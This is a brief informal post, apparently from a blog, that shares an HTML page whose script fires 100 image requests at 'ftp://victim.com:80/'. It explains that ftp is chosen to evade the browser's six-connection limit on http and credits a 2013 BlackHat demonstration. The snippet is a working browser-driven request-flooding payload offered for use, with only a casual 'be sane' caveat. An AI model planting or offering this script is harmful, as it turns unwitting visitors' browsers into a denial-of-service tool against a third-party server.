Something quick to share with you before I forget it 🙂
<html><body> <script> for (var i = 0; i < 100; i++) { var img = new Image(); var url = 'ftp://victim.com:80/?'+i; img.src = url; } </script> </body></html>
I use ftp because http has a limit of 6 simultaneous connections on most browsers, on the other hand ftp has no limit to the day I write this post.
Be sane on how you use it!!!
(Original attack demonstration on BlackHat 2013, Las Vegas)